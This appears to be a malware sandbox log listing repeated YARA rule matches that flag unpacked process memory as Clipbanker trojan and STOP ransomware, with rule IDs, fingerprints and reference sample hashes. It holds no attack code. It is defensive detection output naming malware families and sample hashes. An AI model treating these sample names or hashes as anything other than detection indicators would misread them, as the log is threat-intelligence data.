Source: 30.2.mstsca.exe.8215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 14.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 17.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 17.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 14.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 17.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 17.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
